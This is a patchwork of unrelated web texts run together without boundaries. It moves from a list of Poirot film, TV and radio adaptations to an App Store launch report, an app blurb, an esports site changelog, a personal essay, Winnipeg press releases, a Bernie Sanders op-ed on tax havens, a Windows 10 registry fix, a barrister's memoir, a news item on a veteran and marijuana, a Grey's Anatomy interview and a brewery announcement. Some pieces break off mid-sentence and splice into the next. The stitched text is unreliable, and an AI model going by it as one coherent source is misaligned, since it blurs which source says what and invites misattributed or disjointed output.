Tony Randall portrayed Poirot in The Alphabet Murders, a 1965 film also known as The ABC Murders. This was more a satire of Poirot than a straightforward adaptation, and was greatly changed from the original. Much of the story, set in modern times, was played for comedy, with Poirot investigating the murders while evading the attempts by Hastings (Robert Morley) and the police to get him out of England and back to Belgium.
Albert Finney [ edit ]
Albert Finney played Poirot in 1974 in the cinematic version of Murder on the Orient Express. As of today, Finney is the only actor to receive an Academy Award nomination for playing Poirot, though he did not win.
Peter Ustinov [ edit ]
Peter Ustinov played Poirot six times, starting with Death on the Nile (1978). He reprised the role in Evil Under the Sun (1982) and Appointment with Death (1988).
Christie's daughter Rosalind Hicks observed Ustinov during a rehearsal and said, "That's not Poirot! He isn't at all like that!" Ustinov overheard and remarked "He is now!"[58]
He appeared again as Poirot in three made-for-television movies: Thirteen at Dinner (1985), Dead Man's Folly (1986), and Murder in Three Acts (1986). Earlier adaptations were set during the time in which the novels were written, but these TV movies were set in the contemporary era. The first of these was based on Lord Edgware Dies and was made by Warner Bros. It also starred Faye Dunaway, with David Suchet as Inspector Japp, just before Suchet began to play Poirot. David Suchet considers his performance as Japp to be "possibly the worst performance of [his] career".[59]
Kenneth Branagh [ edit ]
In 2017, Kenneth Branagh directed and starred in a 2017 film adaptation of Murder on the Orient Express. Branagh has been confirmed to return for a new film version of Death on the Nile, set for a 2020 release.
Other [ edit ]
Anatoly Ravikovich, Zagadka Endkhauza (End House Mystery) (1989; based on "Peril at End House")
Television [ edit ]
David Suchet [ edit ]
David Suchet starred as Poirot in the ITV series Agatha Christie's Poirot from 1989 until June 2013, when he announced that he was bidding farewell to the role. "No one could've guessed then that the series would span a quarter-century or that the classically trained Suchet would complete the entire catalogue of whodunits featuring the eccentric Belgian investigator, including 33 novels and dozens of short stories."[60] His final appearance was in an adaptation of Curtain: Poirot's Last Case, aired on 13 November 2013. During the time that it was filmed, Suchet expressed his sadness at his final farewell to the Poirot character whom he had loved:
Poirot's death was the end of a long journey for me. I had only ever wanted to play Dame Agatha's true Poirot [...] He was as real to me as he had been to her: a great detective, a remarkable man, if, perhaps, just now and then, a little irritating. I think back to Poirot’s last words in the scene before he dies. That second ‘Cher ami’ was for someone other than Hastings. It was for my dear, dear friend Poirot. I was saying goodbye to him as well — and I felt it with all my heart.[52]
The writers of the "Binge!" article of Entertainment Weekly Issue #1343–44 (26 December 2014 – 3 January 2015) picked Suchet as "Best Poirot" in the "Hercule Poirot & Miss Marple" timeline.[61]
The episodes were shot in various locations in the UK, and foreign scenes were shot in Twickenham studios.[62]
Other [ edit ]
Anime [ edit ]
In 2004, NHK (Japanese public TV network) produced a 39 episode anime series titled Agatha Christie's Great Detectives Poirot and Marple, as well as a manga series under the same title released in 2005. The series, adapting several of the best-known Poirot and Marple stories, ran from 4 July 2004 through 15 May 2005, and in repeated reruns on NHK and other networks in Japan. Poirot was voiced by Kōtarō Satomi and Miss Marple was voiced by Kaoru Yachigusa.
Radio [ edit ]
Radio adaptations of the Poirot stories also appeared, most recently twenty-seven of them on BBC Radio 4 (and regularly repeated on BBC 7, later BBC Radio 4 Extra), starring John Moffatt; Maurice Denham and Peter Sallis have also played Poirot on BBC Radio 4 in The Mystery of the Blue Train and in Hercule Poirot's Christmas, respectively.
In 1939, Orson Welles and the Mercury Players dramatised Roger Ackroyd on CBS's Campbell Playhouse.[64][65]
A 1945 radio series of at least 13 original half-hour episodes (none of which apparently adapt any Christie stories) transferred Poirot from London to New York and starred character actor Harold Huber,[66] perhaps better known for his appearances as a police officer in various Charlie Chan films. On 22 February 1945, "speaking from London, Agatha Christie introduced the initial broadcast of the Poirot series via shortwave".[64]
An adaptation of Murder in the Mews was broadcast on the BBC Light Programme in March 1955 starring Richard Williams as Poirot; this program was thought lost, but was discovered in the BBC archives in 2015.[67]
BBC Radio 4 Poirot radio dramas [ edit ]
Recorded and released (John Moffatt stars as Poirot unless otherwise indicated):[68]
The Mystery of the Blue Train (1985 w/Maurice Denham as Poirot – 6 parts)
Hercule Poirot’s Christmas (1986 w/Peter Sallis as Poirot)
The Murder of Roger Ackroyd (1987)
Murder on the Links (1990)
Lord Edgware Dies (a.k.a. Thirteen at Dinner) (1992 – 5 episodes)
Sad Cypress (1992 – 5 episodes)
Hallowe’en Party (1992)
Murder on the Orient Express (1992 – 5 episodes)
Five Little Pigs (1994)
Murder in Mesopotamia (1994 – 5 episodes)
Death on the Nile (1997 – 5 episodes)
Evil Under the Sun (1998 – 5 episodes)
After the Funeral (1999)
The ABC Murders (2000)
Peril at End House (2000 – 5 episodes)
Appointment With Death (2001)
Cards on the Table (2002)
Three Act Tragedy (2002 – 5 episodes)
Death in the Clouds (2003)
Taken at the Flood (2003 – 5 episodes)
One, Two Buckle My Shoe (2004 – 5 episodes)
The Adventure of the Christmas Pudding (2004)
Elephants Can Remember (2005)
The Mysterious Affair at Styles (2005 – 5 episodes)
Mrs. McGinty’s Dead (2006 – 5 episodes)
Dumb Witness (2006 – 5 episodes)
Dead Man’s Folly (2007 – 5 episodes)
Other audio [ edit ]
In 2017, Audible released an original audio adaptation of Murder on the Orient Express starring Tom Conti as Poirot.[69] The cast included Jane Asher as Mrs. Hubbard, Jay Benedict as Monsieur Bouc, Ruta Gedmintas as Countess Andrenyi, Sophie Okonedo as Mary Debenham, Eddie Marsan as Ratchett, Walles Hamonde as Hector MacQueen, Paterson Joseph as Colonel Arbuthnot, Rula Lenska as Princess Dragimiroff and Art Malik as the Narrator. According to the Publisher's Summary on Audible.com, "sound effects [were] recorded on the Orient Express itself."
Parodies and references [ edit ]
In a 1964 episode of the TV series Burke's Law entitled "Who Killed Supersleuth?", Ed Begley plays a parody of Poirot named Bascule Doirot.
In Revenge of the Pink Panther, Poirot makes a cameo appearance in a mental asylum, portrayed by Andrew Sachs and claiming to be "the greatest detective in all of France, the greatest in all the world".
In Neil Simon's Murder by Death, American actor James Coco plays "Milo Perrier", a parody of Poirot. The film also features parodies of Charlie Chan, Sam Spade, Nick and Nora Charles, Hildegarde Withers, and Miss Marple.
In season 7 episode 2 of The Benny Hill Show, a sketch entitled "Murder on the Oregon Express" had Benny Hill parodying Poirot (also Deputy Sam McCloud, Frank Cannon, Theo Kojak and Robert Ironside). Hill played Poirot as French, not Belgian.[citation needed]
Dudley Jones played Poirot in the film The Strange Case of the End of Civilization as We Know It (1977).
In the movie Spice World, Poirot (Hugh Laurie) accuses a weapons-packing Emma Bunton of the crime.
In Sherlock Holmes: The Awakened, Poirot appears as a young boy on the train transporting Holmes and Watson. Holmes helps the boy in opening a puzzle-box, with Watson giving the boy advice about using his "little grey cells", giving the impression that Poirot first heard about grey cells and their uses from Dr. Watson.
The Belgian brewery Brasserie Ellezelloise makes a stout called Hercule with a moustachioed caricature of Hercule Poirot on the label.[70]
In C. Northcote Parkinson's charity biography based on the P. G. Wodehouse character, "Jeeves, A Gentleman's Personal Gentleman", Poirot is one of a number of famous detectives beaten to a mystery's solution by the eponymous valet.
In season 2, episode 4 of TVFPlay's Indian web series Permanent Roommates, one of the characters refers to Hercule Poirot as her inspiration while she attempts to solve the mystery of the cheating spouse. Throughout the episode, she is mocked as Hercule Poirot and Agatha Christie by the suspects.[71] TVFPlay also telecasted a spoof of Indian TV suspense drama CID as "Qissa Missing Dimaag Ka: C.I.D Qtiyapa". In the first episode, when Ujjwal is shown to browse for the best detectives of the world, David Suchet appears as Poirot in his search.[72]
See also [ edit ]
^ The Pale Horse, Chapter 1, the novel's narrator, Mark Easterbrook, disapprovingly describes a typical "Chelsea girl"[ page needed ] in much the same terms that Poirot uses in Chapter 1 of Third Girl, suggesting that the condemnation of fashion is authorial.[ page needed ] In, Chapter 1, the novel's narrator, Mark Easterbrook, disapprovingly describes a typical "Chelsea girl"in much the same terms that Poirot uses in Chapter 1 of, suggesting that the condemnation of fashion is authorial.
References [ edit ]
Literature [ edit ]
Works [ edit ]
Reviews [ edit ]Update: The iPhone 2.0 software is now available.
Update 2: Top apps by number of downloads is here.
Apple’s iPhone App Store is now live, several hours ahead of its rumored 9 am PST launch. To access it, download iTunes 7.7 here. Once iTunes has upgraded, you can access the App Store here.
You can “get apps” on iTunes now, but you’ll need the iPhone 2.0 software to actually use them on the iPhone, which isn’t yet available.
There are 27 pages of applications currently available. We’ve updating our directory with the more interesting applications now. At first glance, there are very few non-English applications. Another interesting trend – a lot of books are listed as applications, most for $0.99 (I just bought Heart of Darkness, for example).
According to Pinch Media, the App Store had 552 applications at launch. 135 of these apps are free, while the remaining 417 range in price from $0.99 to $69.99, with the vast majority ranging between $0.99 and $9.99.
Some people are saying they can’t see the app store even after downloading v 7.7 of iTunes and clicking on the link above. Here’s a qik video I took of the store if you can’t access it yourself:
http://qik.com/player2.swf?streamname=74fac02a773c4b5c99af8a8dbdf24cf8&vid=125826&playback=false&polling=false&user=techcrunch&displayname=TechCrunch&safelink=techcrunch&userlock=true&islive=&username=anonymous
Here are screen shots of the Facebook and MySpace App on iTunes, as well as one of the directory pages:WORDFAIL
FREE!
**Available NOW on the App Store!** Click HERE
**Available NOW for Android on Google Play!** Click HERE
WordFail press kit: HERE
Quiz yourself on the most commonly misused English words!
"We are leaving." or "We our leaving."?
"It had no effect." or "It had no affect."?
"The car was stationary." or "The car was stationery."?
"WordFail" is an educational game designed to help you learn the proper usage of the most commonly misused words in English. These are mistakes that even native English speakers make! Think you're an English-language master? What if we only gave you a few seconds to choose the right answer? Now it becomes a game even college English professors will find challenging!
Sound More Professional in Emails!
-Be it a client, a boss, or even a relative, making simple grammatical and spelling mistakes can make you come off as unprofessional, or even rude. This app can help prevent you from making a word fail!
Perfect for use in English classrooms!
-Tired of seeing your students making the same incorrect word choices? Have them play this game to hone their vocabulary skills, whether they are learning English as a second language, or are native speakers!
Perfect for TOEIC and TOEFL students!
-This is a great way to remember some of the trickier words in the English language!
Follow us on Twitter @AstroCrowGames and use #WordFail to share any WordFails you find!
Features:We'd like to remind you that when using our data directly, via the API, or in any other way, youabide to the terms of our license & credit us appropriately by placing a link back to our site, mentioning it on air, or making the source of information clear in other ways. Refer to the full text of the license for the details: CC BY-NC-SA
Reworked team page and better filtering
Hi everybody!
Lately, we haven't had much in terms of major updates to announce. This is due to us being way too busy with our $DAYJOBs, so we really had to focus our efforts on top-priority tasks only. One such task we wanted to get done ASAP was to rework the team pages.
New team pages introduce rich filters, a number of most important statistical team KPIs, and the list of upcoming matches.
The new version is quite similar to the meta pages in terms of available reports, however, there are few important differences between the two. First and foremost, it is possible to pick the roster on the basis of which the statistical indicators will be computed. All previous rosters along with the change dates are shown in the drop down in a more clear way, as compared to the previous version.
However, in order to make full use of it, keep in mind the following caveat. If you pick a full roster of 5 players, the report will compute the statistics for the group of players covering the complete time span they have been playing together, irrespectively of the team membership. This is why you'll see the same statistics on Team Liquid, Misfits and mYinsanity pages for their latest roster. If you only pick a partial roster (less than 5 players), the stats will be shown for the time span till the next roster change. Keep in mind, that all data in the main tab as well as in the others (including achievements) is filtered according to the same rules.
The heroes filter, just like on the meta page, lets you filter the statistics not only by one hero, but also check out how successful is the team in terms of making use of hero combinations.
Yet another change has to do with tournament selection. First, we have noticed that not everybody realized how to use the "Show only main stage matches (exclude qualifiers)" option and what exactly does it influence. Second, the old system didn't allow to select statistics only for one specific stage, like HGC Crucible, Playoffs or Group Stage Phase 1 Part 2. Now this has become possible! However, we had to sacrifice a tiny bit of usability, because the stage list is already pretty big, but it can be conveniently searched. Nevertheless, we hope that you will get used to this new filter, which is, by the way, not only present on the team page, but everywhere on the website.
Finally, we want to thank you for using our website! In the last months, we've got a substantial increase in traffic, which hopefully means that we are moving in the right direction!
If you notice any problems, or get questions on how to use the website, please don't hesitate to ask in the comments, our twitter, or just drop us an email
Previous changelog: Counter picks, calendar improvements and favorites.Growing up is tough. Like when you’re a little kid and you have to beg your parents for everything. “Mom! I want some new action figures! Mom! Take me to the comic book store!” and, I shouldn’t assume everyone had the same childhood as I did, but my parents weren’t the type to drop whatever they were doing to satisfy the demands of their snot-nosed little son. Before I was old enough to get a job, this meant waiting desperately for some sort of a special occasion, Christmas, my birthday, one of those automatic days where I was entitled to presents.
Now I’m an adult, and yeah, I guess if I really wanted to, I could buy whatever I want. You know, within reason. If I don’t have the cash, just put it on the credit card. Theoretically speaking, there’s really not too much that’s off limits. But at what cost? Am I really willing to put myself into unnecessary debt because I want something that badly?
And so I don’t know what’s worse, being a little kid and having no sense of money, or being an adult and knowing all too well the true cost of material desires. I think back though, and there was an exception to this, it was a period in my life right after I got a job but before I had any bills to pay. It only lasted for about two years or so, but man, I was a god amongst men.
I started working at a restaurant when I was fourteen, scooping ice cream and making cappuccinos at a place a few towns over. After an eight-hour shift, the boss would give me sixty bucks, cash. It doesn’t sound like a lot of money, but to a freshman in high school with absolutely no responsibilities besides doing homework and working at this restaurant two nights a week, this job meant that I was rich.
Like, really rich. I remember the first time I got paid, I went from having absolutely nothing in my pockets, ever, to having sixty bucks. I might as well have been carrying a grand. The day after my first shift, I rode my bike to the park to play basketball with my friends. Normally, we’d all be lucky if we could pool a dollar and a half together to buy a soda.
But like I said, now I was rich. I took everybody to the pizza place and bought a pie. It was incredible, all of that cash, just burning a hole in my pocket. And that’s how it went for the next two years or so, before I bought a car, before I wound up throwing all of my money into a 1991 red Dodge Stealth.
The car gave me an even greater sense of freedom, but it was just a taste of what lay ahead, bills, insurance, gas, repairs, tickets. I still had money, but now when I went to the comic book store, I couldn’t just buy every new release without consequence. I’d been living the past two years never in want of anything. If I even remotely saw something that I liked, I bought it. But little by little, the adult world sucked away my surplus of money.
After school it was rent, and then cell phone service, and healthcare premiums. Whatever, everybody has to pay bills, so I’m not going to go through all of the things that I currently have to save my money for. But nobody prepares you for how it’s really going to be. I think back to when I was fifteen, when I had stacks of twenties in my underwear drawer, how I couldn’t imagine a time where I’d be even remotely close to having to stick to a budget.
I had no idea how good I had it. Maybe it’s a pattern, always looking back and waxing nostalgic. Maybe ten years from now I’ll look back upon right now as the best time of my life. I don’t know, I just remember going to the mall and buying like twenty new CDs. I think this summer I bought two albums on iTunes. What happened to my priorities?July 17, 2017
Weston Park playground receives $312,000 makeover
Improvements include new play equipment, swings, official size half basketball court and improved amenities
Released: 10:36 a.m.
Winnipeg, MB - Residents can now enjoy new amenities at the Weston Park playground, located at 299 Lock Street, following a significant makeover.
“The City’s investment in Weston Park will help make the playground a destination for families in the area,” said Mike Pagtakhan, Chair of the Standing Policy Committee on Protection, Community Services and Parks. “Access to modern park amenities is key to helping kids and youth stay active and fit. I encourage area residents to visit the park this summer and enjoy everything it has to offer.”
“This very important park and playground located right in the heart of Weston will be enjoyed by hundreds of kids who live in the area, many of them who are new Canadians,” said Scott Gillingham, City Councillor for the St. James-Brooklands-Weston Ward. “The makeover to this playground will benefit and serve the community well for many years to come.”
The improved playground features new play equipment for 2-5 and 5-12 year olds, new swings, new official sized half-court basketball court complete with acrylic line painting and surfacing, new pathways, new fencing, new benches, picnic tables, waste receptacles, and improved sightlines.
The cost for this project was $312,000 funded from the 2016 and 2017 Parks and Recreation Enhancement Capital Program.
For more information about Winnipeg parks, see City of Winnipeg - Parks and Open Space.
Landfill Gas Collection System to be expanded this summer
Released: 1:31 p.m.
Winnipeg, MB - The landfill gas collection system at the Brady Road Resource Management Facility (Brady Road Landfill) will be expanded this summer, as required under section 15 of The Climate Change and Emissions Reductions Act. The expansion is expected to double the amount of landfill gas that is collected.
The system collects and flares landfill gas, which is produced when organic waste decomposes. The gas is primarily made up of methane, a harmful greenhouse gas that contributes to climate change and is 21 times more potent than carbon dioxide in terms of its global warming potential.
The system became operational in 2013 and captured and flared 104,349 tonnes of carbon dioxide equivalents in 2016, which is the equivalent to the carbon dioxide emissions produced by 22,061 passenger cars. After the expansion, the City will be capturing emissions equivalent to those produced by more than 44,000 passenger cars.
Construction will start the week of July 17 and is expected to be completed the week of September 25, and will include drilling 24 wells and installing 3,500 metres of piping. The work may temporarily cause odours within â� mile radius of the landfill site as old garbage is exposed during construction.
Residents can report odours from the landfill anytime to 311:
by phone at 311
by email at 311@winnipeg.ca
For more information on the landfill gas collection system, please see City of Winnipeg - Landfill Gas Collection System.Bernie Sanders, an independent from Vermont and a former presidential candidate, is serving his second term in the US Senate. The views expressed in this commentary are his own.
(CNN) One of the major, untold stories of our time is the rapid movement toward global oligarchy, in which just a handful of billionaires now own and control a significant part of the world economy.
Here in the United States, the top one-tenth of 1% owns almost as much wealth as the bottom 90%. Incredibly, according to a recent report from the Institute for Policy Studies, three of the richest people in America -- Bill Gates, Jeff Bezos and Warren Buffett -- now own more wealth than bottom 160 million people in our country.
But this is clearly not just an American issue. It is a global issue. While millions of people throughout the world live in dire poverty, without clean drinking water, adequate health care, decent housing, or education for their kids, the six wealthiest people in the world as ranked by Forbes Magazine own more wealth, according to Oxfam, than the bottom half of the world's population, 3.6 billion people.
This massive level of wealth and income inequality, and the political power associated with that wealth, is an issue that cannot continue be ignored. We must fight back.
Thanks to the so-called Paradise Papers, a trove of millions of documents analyzed by the International Consortium of Investigative Journalists (ICIJ) and its collaborating news outlets, we now have a better understanding of how the largest corporations and wealthiest people in the world avoid paying their taxes and hide ownership of assets. Needless to say, these billionaires are all strong supporters of our military, our veterans, our infrastructure, our schools and other government services. They would just prefer that you pay for those activities, not them.
According to the ICIJ's investigative reporting, the Americans listed as having offshore accounts in the Paradise Papers, (which have not been independently reviewed by CNN), are a who's who of billionaires, some of whom are the very same officials who have led the effort to promote the Republican tax plan, which would provide even more tax-avoiding opportunities to the very rich.
Even before these revelations, we knew that tax dodging by the wealthy and large corporations, not just in the US but globally, was taking place on a massive scale. In 2012, the Tax Justice Network, a British advocacy group, estimated that at least $21 trillion was stashed in offshore tax havens around the world. In other words, while governments enact austerity budgets, which lower the standard of living of working people, the super-rich avoid their taxes.
The essence of oligarchy is that the billionaire class is never satisfied with what they have. They want more, more and more -- no matter what impact their efforts have on working people, the elderly, children, the sick and the poor. Greed is their religion. While the oligarchs are avoiding their taxes, Trump and his Republican colleagues, ostensibly in order to save federal dollars, have been trying to throw tens of millions of Americans off of their health insurance, and make massive cuts in education, nutrition assistance and affordable housing.
As a candidate for president, Trump promised that he would stand up for the working class of this country. Needless to say, that was a lie. Almost half of the benefits in the Trump/Republican tax plan would go to the top 1%, according to the Center for Budget and Policy Priorities. Additionally, they want to lower the corporate tax rate from 35% to 20%, even though in 2012 one out of every five large, profitable corporations in the US paid no federal income taxes at all and between 2008 and 2015, 18 corporations had a tax rate lower than 0%.
Republicans also want to make it easier for companies to shelter their profits overseas and pay zero taxes. The "territorial tax system" they are proposing, which means companies would be taxed only on income earned within our country's borders, would exempt the offshore profits of American corporations from US taxes and allow for a one-time 12% tax on their offshore cash profits when brought back into the United States.
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The Paradise Papers make it clearer than ever that we need, in the United States and throughout the world, a tax system which is fair, progressive and transparent.
Now is the time, in the United States and internationally, for people to come together to take on the greed of the oligarchs. We can and must create a global economy that works for all, not just a handful of billionaires.You may think bookshops are peaceful places, but really they are revolutionary places.
Don’t believe us? Well take a look at how the Harvard Book Store near Harvard University is organising its books at the moment.
On the face of it, this looks like a touching tribute to an awful event. Look a bit closer though, and you realise the Trump administration is being trolled.
The sign reads: “Commemorating the victims of the Bowling Green Massacre”. In case you’ve been under a rock the last few weeks, the Bowling Green Massacre isn’t real.
Kellyanne Conway, one of Donald Trump’s aides, was |
egregate.
Boston's school committee refused to comply. All five members, elected at large, were white.
"It was clear to me when I was hired in 1972 that the day was going to come when the chickens would come home to roost," said Bob Schwartz, who was Boston Mayor Kevin White’s adviser on education when the civil rights lawsuit was filed against the school committee.
Schwartz is now a professor emeritus of education at Harvard University. "At every point where the school committee had a choice," he said, "the school committee opted for segregation."
In 1965 — more than a decade after the U.S. Supreme Court ruled that separate but equal schools were unconstitutional — a black parent confronted Boston School Committee member Louise Day Hicks, a staunch opponent of school desegregation:
Johnson: Any school that is predominantly Negro in Boston is an inadequate school. Hicks: Mrs. Johnson, the superintendent of schools has stated as his policy that a racially imbalanced school is not educationally harmful. Johnson: Mrs. Hicks, madame chairman, may I say this: Superintendent Ohrenberger and yourself and other committee members do not have children in a racially imbalanced school, so you do not know what the effect is on our children.
"People were tired of fighting and not winning," McGuire said.After installing the latest build for Windows 10 (Build 9926), you might experience an issue where a new Build shows available, but when you attempt to download and install, it gives an error message (0x80246017) like the following:
Windows 10 Build 9926 introduced this bug and it will take a registry modification to fix it. According to Microsoft, Windows Update should've set the registry keys back to the proper value, but failed to do so. Microsoft will fix this issue in the next build.
Here's what to do…
Open the registry editor and navigate to the following path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsSelfHost\Applicability Locate BranchName and make sure it shows: FBL_AWESOME1501. If it doesn't, change it. Locate ThresholdRiskLevel and change it to: low Find ThresholdInternal and delete it. Find ThresholdOptedIn and delete it.
Here's what it looks like, before and after…
Before
After
Once you make this change and force Windows Update to check again, your installation of Windows 10 9926 will show no new builds available.In this week’s ‘If I knew then what I know now’, Nigel Poole QC recalls how, over time, he realised that the unshakable self-confidence of some of his peers belied a shared state of ignorance and anxiety.
Two characteristics of the profession conspire to breed paranoia in the young barrister. The first is that no one really knows how well they are doing. There is no league table or promotional structure, and, of course, it is vulgar to talk about money. So, you are left to speculate from circumstantial evidence. That way lies madness.
On returning to our respective cars parked outside Oldham County Court one afternoon my opponent looked at my rusting Clio standing next to his gold-trimmed Lexus and remarked, “I see you have chosen an unobtrusive model”. I should have been thinking, “Who drives a Lexus in their 20s?”. Instead I was pondering how well he must be doing to be able to afford that car. I should have known then, as I know now, that money is a poor measure of success at the Bar. At least that is what I tell myself.
The second paranoia-breeding characteristic of the Bar is that it naturally attracts those who can “talk the talk”. We are professional advocates after all. There are many genuinely talented barristers but there are many others who merely act how they think a barrister should act. I recall bumping into a fellow pupil at Macclesfield County Court and asking what he was doing. “Oh, a couple of pieces of nonsense,” he replied dismissively in the manner of an old hack.
There is a certain kind of barrister, usually male, who feels compelled to talk himself up. He pops his head round my door in the morning to say, “Nigel, do you know Mr Justice Smeggins? What’s he like?” The object of the question is not to hear my view, but to inform me that he has a hugely important case in the High Court. Later you find out that the brief was merely to announce, “I have nothing to add” on behalf of a defendant at an approval hearing. I wish I had known then that those who talk themselves up the most often have the least reason to boast.
So, I spent my early years at the Bar worrying that my peers were smarter and more successful than me. I was intimidated by the absolute conviction with which opponents would tell me how strong their cases were and how weak was mine. One colleague would greatly impress everyone with his facility in conversation for reeling off case names. Only later did I realise that he used the same authorities to support a wide range of — sometimes conflicting — propositions. In litigation, no-one has all the answers and most cases are decided not on the law but on what you might call “common sense”. As a barrister you have to rely on your own judgement so you might as well learn to trust in it. I wish I had had more confidence to do that from the outset.
Many of the barristers who have impressed me the most, including my own pupil supervisor Alastair Forrest, have been sceptical, undemonstrative and constant. There are “great characters” at the Bar but you do not have to be one to be a good advocate.
I wish I had known, earlier in life, not to fear failure or to fear change. At university I noticed that those who ended up running the student union, editing the newspaper and presiding over the debating society did not necessarily have more talent than anyone else — they had more self-belief. Being at Oxford University there were a number of Etonians. They just assumed they would take charge and they did. They didn’t ask, “Why me?” but “Why not me?”. I wish I had learned sooner to have a go and, when you fall flat on your face, to have another go. Such successes as I have had in my career have always been immediately preceded by failure. You will achieve nothing if the fear of failure stops you even trying.
The same principle applies when facing the prospect of change. Whenever I have consciously made changes in my professional life, my career has benefited. Presently the profession is facing very many changes and challenges, but whether it is the use of technology, alternative business structures or funding arrangements, I have learned that those who are not willing to contemplate change will usually suffer. I let several years slip by, wondering whether to make certain changes, but once I made them, I wished I had made them earlier.
I regard my main professional achievement as having kept going. All barristers are in competition with each other, even with our closest colleagues. We are reliant on the whims of solicitors as to whether or not we work and we fear being “rumbled” — at any time the instructions could simply cease. Cash flow is erratic. Reputation is crucial to making a living, but you have limited control over your reputation. It is in the nature of the job, acting within an adversarial system, that our opinions are constantly challenged and our judgements questioned. This barrage of uncertainty and conflict can wear some people down, so much so that they cannot fight back. With the support I have had at home I have managed to stay on track.
When, as I did, you share a tutorial group at Bar School with Dinah Rose, you soon realise that your career will never really measure up. While she set a determined course towards the Supreme Court, I, almost inadvertently, ended up in Manchester practising clinical negligence and personal injury work. I know now that I landed on my feet. It is a great city and there is a wonderful camaraderie on the Northern Circuit. It has been a privilege to represent countless individuals whose lives have been blighted by injury or bereavement. If I had known 24 years ago what I know now I would, without hesitation, have taken the same path.
Nigel Poole QC is a barrister specialising in clinical negligence and personal injury at Kings Chambers in Manchester. He blogs about clinical negligence at NigelPooleQC.blogspot.co.uk.Don Ream (KPNX)
An Arizona county attorney told a retired veteran he was an enemy of the state because he smoked pot.
The veteran, Don Ream, stood up last week during a debate on medical marijuana between Maricopa County Attorney Bill Montgomery and lawyer Marc Victor to admonish the elected official, reported KPNX-TV.
“With all due respect, sir, your name-calling – ‘potheads’ – offends me,” Ream said.
He told Montgomery that he was a military veteran whose health had improved as a result of medical marijuana use.
“There is a distinction between medicinal applications and recreational use,” Montgomery said.
Ream admitted that he smoked pot recreationally, as well.
“Well, then you’re violating the law, and I have no respect for you,” Montgomery said. “I have no respect for someone who would try to claim that you served this country and took an oath to uphold the Constitution and protect against all enemies foreign and domestic – because you’re an enemy.”
Medical marijuana is legal in Arizona, but pro-pot advocates hope to place a ballot measure before voters next year that could legalize recreational use.
Ream said he now considers Montgomery his enemy in the drug war, although he claims he offered the county attorney some pot as a peace offering.
Montgomery declined to comment on the exchange, but his spokesman said the county attorney did not regret his remarks to Ream.
Watch the exchange posted online by KPNX-TV:[This story contains spoilers from Thursday's "Be Still, My Soul" episode of Grey's Anatomy.]
Meredith and Maggie's bond just got deeper on ABC's Grey's Anatomy.
During Thursday's Ellen Pompeo-directed episode, Maggie's (Kelly McCreary) mother Diane Pierce (LaTanya Richardson Jackson) passed away after complications from a clinical trial to treat an aggressive cancer. Her passing came after Diane, pressured by her daughter to do the clinical trial, fired Meredith from the case as pretty much everyone at the hospital thought it was a bad idea.
Ultimately though, the episode drew parallels between Meredith and the death of her mother, Ellis (Kate Burton), as well as Maggie and her own mother, as the two siblings now have the experience of a shared loss in common. The hour was a true showcase for McCreary as Maggie is left to make sense of her mom's advice to have more fun and fall in love.
THR was on the set of the episode and spoke with McCreary about Maggie's game-changing episode.
What was filming this episode like for you?
It’s been amazing because the journey that Maggie is on really hits close to home for so many people. We all know someone — a parent, or a close friend, or a friend of a friend — who we've lost too soon, or very tragically. Just being on set and looking around at the crew, I imagine every single person here has had an experience like this. It's been amazing to draw on that energy and feel the connection to people who have had to persevere through really sad, challenging times, and come out on the other side. I think I have had the opportunity in this experience to really draw on parts of my humanity that I just haven't had the opportunity to yet on this show, and I feel closer to other people, just generally. My heart is more open.
Maggie's mom has passed. How will this impact her going forward?
I'm going to start crying just thinking about it. Maggie is different than a lot of the characters on the show but particularly her sisters in that she had a really lovely home life growing up and really has a strong relationship with her parents. A friend of mine who lost her sister recently said that when someone who is that close to you dies, a part of you dies, too. That is really true for Maggie. There's a great big hole that is left behind by her mother's passing and a change in her sense of identity. Maggie came to Grey Sloan seeking to fill a hole in her identity. She came to Seattle looking for information about her biological family, and then she found it and that got filled up, and now there's a new great big gaping hole in her life. It's hard. She doesn't know what to do with herself. But it's also different from Meredith and other characters on this show because she really leans in to her support system and gets what she needs.
Amelia and Meredith both went, in Grey's speak, "dark and twisty" following the deaths of their loved ones. Will Maggie explore her inner "twisted sister"?
Are we going to see Maggie go dark? I don't know what the future holds, but Maggie will grieve in the way that seems, from the outside, to be relatively healthy. The thing about grief is that we think of it in stages, or we've been told that it's stages, but those stages go in cycles. So when she gets to anger, or returns to anger or denial, maybe some dark stuff will come up then.
Who will she lean on?
She'll definitely lean on her sisters. She leans a lot on the memory of her mother. And once she can forgive Jackson for his role in it — she's been very angry at him up to this point — then they will probably enter a new phase of their friendship.
Meredith and Nathan are moving forward with their relationship — or at least talking about doing so when the time is right. How might Maggie respond to that?
As far as I'm concerned, Maggie seems to be over Nathan. It’s been a while since you’ve heard Maggie talk about Nathan, and while I think there's still the potential of a real sense of confusion or, at worst, betrayal when she finds out what’s been going on with Meredith and Nathan, I don't think she's that hung up on him anymore.
Maggie is such an interesting character: Personally and professionally, she's very level-headed and among the more evolved characters. Yet she always struggles with romantic relationships. Why is that?
One thing that's really awesome about Maggie is that she has been, from the beginning, really unafraid to express her need for community and love and connection. Maybe that's not different from other characters, but that is very unique to her, and it's so sweet. She just made up her mind she was going to really like Meredith no matter how she treated her, and she won. She eventually forged that relationship. That determination — the same determination that she applies to her professional life and her surgical skill and her relationship with Meredith — she will apply to a relationship eventually.
Ellen Pompeo directed this episode. What was going down an emotional rabbit hole like this like with your co-star at the helm?
Ellen was an extremely energetic director. She came in with so many ideas — and a personal connection and great deal of enthusiasm for this particular storyline. The writing is so strong on it that we were so excited to be able to tell this story together. Ellen has a real knack for the visual, and I think she's spent enough time on the set over the years to know how to be excited to have an opportunity to put her spin on how things might look. … There's a lot of Maggie on her own to depict this profound isolation of what it's like when you're taking over the caretaking role in a mother-daughter relationship and when you're in a foreign environment. Ellen just has so many ideas for how to capture that.
Grey's Anatomy airs Thursdays at 8 p.m. on ABC.(EUGENE, OR) — Ninkasi Brewing Company crafts up two new releases to help welcome the cooler months, capturing favorite flavors of the season. This September, craft beer drinkers will find Noir, a Coffee Milk Stout, and Imperial Pumpkin Sleigh’r, a Dark Doüble Alt Ale with pumpkin and brown sugar, in bottles and on tap.
Featuring two distinct brews of the Pacific Northwest, Ninkasi introduces Noir, a Coffee Milk Stout to its Special Release Series. “I have been brewing beers with coffee since the mid-nineties and have always loved the rich creaminess milk sugar imparts on beers and how it melds with coffee,” says Jamie Floyd, Ninkasi founding brewer and co-founder. “Last year, we collaborated on a Coffee Milk Stout with Sierra Nevada and enjoyed the beer so much, we decided to brew one of our own.”
